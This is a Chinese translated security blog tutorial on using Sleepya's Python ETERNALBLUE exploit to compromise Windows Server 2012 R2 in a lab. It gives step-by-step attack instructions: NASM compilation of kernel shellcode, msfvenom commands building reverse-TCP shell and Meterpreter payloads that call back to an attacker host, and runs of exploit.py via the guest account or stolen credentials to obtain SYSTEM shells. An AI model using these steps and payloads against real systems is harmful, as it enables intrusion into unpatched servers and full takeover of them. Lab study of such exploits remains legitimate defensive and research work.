查看原文
其他

【译】Windows2012上如何通过攻击ETERNALBLUE获得Meterpreter反弹

2017-07-18 backlion 先知安全技术社区

0x00前言


        自4月14日影子经纪人泄漏漏洞以来,所有喜欢溯源和漏洞攻击的人都观察到这个著名的的永恒之蓝漏洞。因此,在不到两个月的时间内,出现了几份攻击的利用文档,试图去了解它是如何利用的。Metasploit已经将他的利用exp写入到基于于肖恩·迪隆和迪伦·戴维斯两人开发的攻击版本中。该漏洞影响Windows 7和Windows Server 2008 R2版本。另一方面,研究人员“Sleepya”在github上发布了一个Python版本的ETERNALBLUE,这使得在Windows Server 2012 R2能够成功利用的可能。
由于没有关于如何配置以及如何使用Sleepya的python版本利用的注释说明。一旦作者成功地进行了漏洞复原,将决定查询和写关于这个使用指南。


0x01 漏洞利用测试


搭建环境

        在Windows2012主机上测试:


        安装全新的操作系统后,无需对其进行任何更改。 知道目标IP地址就足够了,在进行攻击的时候是主机是需要运行的。


攻击机 - GNU / Linux:

        可以使用任何其他linux操作系统这里笔者建议采用kali,只要在其中安装以下工具:
• NASM - http://www.nasm.us/
• Python v2.7 - https://www.python.org/download/releases/2.7/
• Metasploit Framework - https://github.com/rapid7/metasploit-framework

总结实验室所需的配置:
• Windows Server 2012 R2 x64 – IP: 10.0.2.12———→>被攻击机
• GNU/Linux Debian x64 – IP: 10.0.2.6———→> 攻击机


修改shellcode

        第一步是修改利用eternalblue的内核shellcode代码。最后,我们将添加一个反弹的shellcode,这将是任何Metasploit的有效载荷,只要在目标上执行一次就会有效。



修改内核shellcode代码

        从以下链接可以获得由Sleepya开发的内核shellcode:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm.
我们使用以下命令来保存.asm文件,并使用NASM来编译,其命令为:
nasm -f bin kernel_shell_x64.asm


        

使用msfvenom生成用户的反弹shellcode攻击载荷

        Msfvenom将用于生成有效载荷,我们将生成两个不同的检测:

  1. 第一个将通过TCP反弹一个反向shell

  2. 第二个是反弹一个meterpreter会话

        我们将以这种方式分别生成两个有效载荷。


windows/x64/shell/reverse_tcp:


kali执行生成64位tcp反弹exp:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444



windows/x64/meterpreter/reverse_tcp:


kali执行生成64位meterpreter反弹exp:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444



修改内核shellcode 和userland shellcode

        

        一旦内核shellcode被编译成功,并且我们需要的Metasploit有效负载成功生成,这将是必要的步骤。 该步骤不仅仅只是附加一个shellcode与或其他的。

kernel shellcode + shell/reverse_tcp:




kernel shellcode + meterpreter/reverse_tcp:



完成两个步骤后,我们将有两个不同攻击的有效载荷可以使用


获得一个反向的shell


        当然,我们将使用Sleepya的漏洞利用,我们可以从下面连接得到:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
我们应该在攻击者主机上将以.py扩展名保存,在进行此攻击之前,有必要在Metasploit上设置以在目标主机上执行接收反向shellcode的连接



现在我们将用两种不同的方法来成功攻击目标主机。


通过”guest”帐号


        默认情况下,客户端帐户在Windows Server 2012 R2中处于禁用状态, 但是,如果被管理员激活,那么可以利用它来获取目标中的SYSTEM shell。第一步是使用任何文本编辑器打开exploit.py,并指出它将是用于验证的那个帐户。




如上图所示,在第42行和第43行中,我们可以自定义修改参数。
保存这些更改后,我们继续执行以下参数的漏洞利用,其命令为:
python exploit.py
reverse_shell.bin 500
参数”500”的值对应于”numGroomConn”,调整”Groom”连接的数量有助于充分利用一个连续的内核内存地址池,以便缓冲区覆盖我们需要的,并且能够正确执行shellcode。这个用户的shellcode中我们将使用”Groom”500连接数, 如果在影响没有收到反向连接shll时,可以进一步增加这个数字值。




可以立即在Metasploit的终端接收到反向shell:



通过用户和密码


        另一种方法实现的成功条件是使用我们先前从本地用户获得的有效用户凭据。与前面的”gusest”用户实列一样,我们验证的帐户权限并不重要,它接收的终端始终是一样的系统。
我们将再次修改exploit.py,将添加其他的用户和密码登录凭据。


以同样的方式保存和执行该漏洞:




得到相同的结果:




获得Meterpreter会话:
现在我们将做最理想的演示:
如果想获取具有管理员权限的会话,但首先需要配置Metasploit来接收反向连接的命令:




我们将指出漏洞利用身份验证,但如前所述,可以使用任何其他有效的用户帐户,将不会影响攻击结果。




我们使用以下命令执行漏洞利用:
python exploit.py
meterpreter.bin 200
现在我们可以看到,在这种情况下,我们减少了Groom的连接为200。
漏洞exp被被正确执行,如果是没有收到反弹shell会话,我们可以尝试增加这个Groom的连接值。




立即收到了Metasploit的反弹shell:



0x02 总结


        最后,我们在Windows Server 2012 R2上获得了具有管理员权限的Meterpreter shell。 几周前,作者已在exploit-db社区上的发表该漏洞利用文章,但是只写了关于Windows 7和Windows Server 2008 R2漏洞利用。 这次将发表关于windows2012的漏洞利用。




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存